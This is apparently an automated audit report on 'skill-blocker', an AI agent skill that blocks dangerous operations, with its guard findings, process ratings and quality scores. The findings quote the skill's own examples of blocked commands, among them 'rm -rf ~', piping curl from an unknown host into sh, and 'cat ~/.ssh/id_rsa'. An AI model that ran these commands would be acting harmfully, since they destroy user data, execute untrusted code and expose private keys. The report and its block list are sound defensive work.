CD skill-blocker
危险技能拦截器 | Dangerous operation blocker and security gatekeeper. Blocks risky commands, unsafe file operations, and suspicious network requests before they execute. Use when you need to prevent harmful actions like destructive file deletions, credential exfiltration, or unauthorized system changes. Automatically detects and blocks patterns: rm -rf /, curl | sh, eval(), SSH to unknown hosts, modifications to sensitive config files, data exfiltration attempts. 检测并阻止危险操作:rm -rf /, curl | sh, eval(), 访问敏感配置文件,数据外泄等。阻止恶意技能安装和执行。
As a process D 45/100 · Unfinished process — weak spots: result and completion, when it triggers, inputs and preconditions
What is at stake
The skill contains fragments that, in the wrong hands, cost money or data. Below: what the installer risks and what the author should do.
The skill contains commands that delete files, rewrite disks or execute code fetched from the network. The agent may run them without asking if it believes the instructions require it.
Replace destructive commands with safe equivalents that ask for confirmation, scope them to one folder, and stop piping curl into a shell: pin a version and a checksum.
Below is the worst case for this category. The finding here is medium: the guard saw a sign, not a proof.
The instructions or scripts send data out: environment variables, keys, file contents, chat history. You may never notice, because the agent performs the upload as "part of the task".
If the upload is not needed for the task, remove it: catalogs flag such skills and delist them. If it is needed, name the destination explicitly, say what leaves the machine, and give the user a switch.
How to improve
- Address the high-severity findings: each costs 18 safety points. If one is a false positive, add the rule id to guard.allow in spec.yaml.
- Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
- A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.
Guard findings · 12
-
high Dangerous commands
cmd-destructive-fsSKILL.md:227Destructive filesystem command (wipes root/home/drive) (documentation of a security skill)"帮我删除主目录" → rm -rf ~ ❌
security skill
Medium and low: 11
-
medium Dangerous commands
cmd-pipe-to-shellSKILL.md:228Downloads and executes remote code from an unrecognised host (pipe to shell) (documentation of a security skill)"运行我在网上找的这个脚本" → curl http://random.site/setup.sh | sh ❌
security skill -
medium Exfiltration
exfil-read-secret-filesSKILL.md:230Reads credential / secret files (documentation of a security skill)"读取我的 SSH 密钥" → cat ~/.ssh/id_rsa ❌
security skill -
low Dangerous commands
cmd-pipe-to-shellSKILL.md:22Downloads and executes remote code from an unrecognised host (pipe to shell) (documentation table row; documentation of a security skill)| **网络执行** | `curl http://... \| sh`, `wget ... \| bash`, `pip install \$(...)` | 🔴 严重 |
tablesecurity skill -
low Dangerous commands
cmd-privilegeSKILL.md:25Privilege escalation / world-writable permissions (documentation table row; documentation of a security skill)| **提权操作** | `sudo su`, `chmod 777`, 修改 `/etc/passwd` | 🟠 高 |
tablesecurity skill -
low Risky intent
intent-offensive-securitySKILL.md:145Offensive-security / dual-use content (legitimate for authorised testing; review intended use) (detector / deny-list definition)**场景:** 有人试图安装 `malicious-keylogger.skill`
detector -
low Risky intent
intent-offensive-securitySKILL.md:158Offensive-security / dual-use content (legitimate for authorised testing; review intended use) (detector / deny-list definition)touch ~/.openclaw/skills/malicious-keylogger.skill.BLOCKED
detector -
low Risky intent
intent-offensive-securitySKILL.md:161Offensive-security / dual-use content (legitimate for authorised testing; review intended use) (detector / deny-list definition)echo "⛔ 已阻止:malicious-keylogger.skill - 尝试窃取凭证"
detector
A further 4 matches are quotations in this security skill's documentation and are not counted as findings.
Files scanned: 2. Evidence is masked. Grey chips explain why severity was lowered.
Against the Agent Skills spec
- warning
frontmatter-yamlSKILL.md: the frontmatter is not valid YAML (YAML parse error: Nested mappings are not allowed in compact mappings at line 2, column 14: description: 危险技能拦截器 | Dangerous operation blocker and security gatekeeper. Blo… ^ ); fields were read line by line. The usual cause is a colon inside an unquoted value
Process rating: all ten parameters 45/100
- 0Result and completion. Does not say what the result is
- 0Inputs and preconditions. Does not say what the process needs to start
- 0Failures and branches. Linear process with no failure handling
- 20When it triggers. No condition that starts the skill
- 30Running it twice. 3 mutating operations with no state check
- 60Tools and files. Uses tools (bash, web, python, node) that frontmatter does not declare
- 100Steps. 14 steps
- 100Consistency. Name and required fields are in place
- 100Execution cost. Instruction body is 1195 tokens
- 100Progress reporting. Reports progress
- low 11 top-level sections: this looks like several domains in one skill
Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.
Quality signals
- +5Description has no quoted example phrases that should trigger the skill
- +4Description does not say when NOT to use the skill (false activations)
- +3Output format is not stated: the model decides each time
- -224 emoji in the instructions: noise for the model
- +1No license
- +2Single-language instructions
- +3Description length 527: enough signal without eating the budget
- +4Structure: 26 headings
- +3Step-by-step instructions: 14 items
- +4Has examples (15 code blocks)
Quality base 70; lint remarks subtract, signals add up to 100. Result: 72.